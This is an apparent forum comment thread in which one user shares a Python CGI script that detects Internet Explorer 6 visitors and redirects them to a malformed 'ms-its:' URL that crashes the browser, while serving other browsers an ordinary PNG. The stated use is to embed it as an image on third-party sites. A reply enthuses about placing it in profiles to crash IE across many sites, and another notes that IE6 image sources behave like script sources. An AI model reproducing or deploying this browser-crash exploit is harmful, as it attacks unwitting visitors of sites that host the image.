3 ms·
Here's another crash bug. Just link the following URL as an image somewhere on a page (works on third-party sites that pass image URLs directly to browsers):
by mmastrac 17y ago
Here's another crash bug.
Just link the following URL as an image somewhere on a page (works on third-party sites that pass image URLs directly to browsers):
http://grack.com/crash.py http://grack.com/crash.py
There's a crash in IE's URL parser that takes down the browser if it attempts to process this URL: "ms-its:%F0:". The above script returns an image to every browser, but a Location: redirect to IE6. If a site doesn't proxy images for its users, it'll send them to the link and take down the browser. Known by Microsoft, doesn't require scripting, still unpatched.
Source, for anyone interested:
#!/usr/bin/python
# http://grack.com
import os
import sys
if os.environ["HTTP_USER_AGENT"].find("MSIE 6.0") != -1:
print "Content-Type: image/png"
print "Location: ms-its:%F0:"
print ""
else:
print "Content-Type: image/png"
print ""
print open("crash.png").read()
- GrandMasterBirt 17y agoAwesome. I will use this image for profiles =) Now all you need to do is create an argument to the url so that it takes dimentions in case profiles have a dimention limitation. This way we can crash IE on many sites all over the internets.
- blasdel 17y agoIf you can control the src attribute of an <img> element on someone else's site where people use IE6, they're way more fucked than just having their browser crash. In IE6, <img src=FOO> is a superset of <script src=FOO>. Really.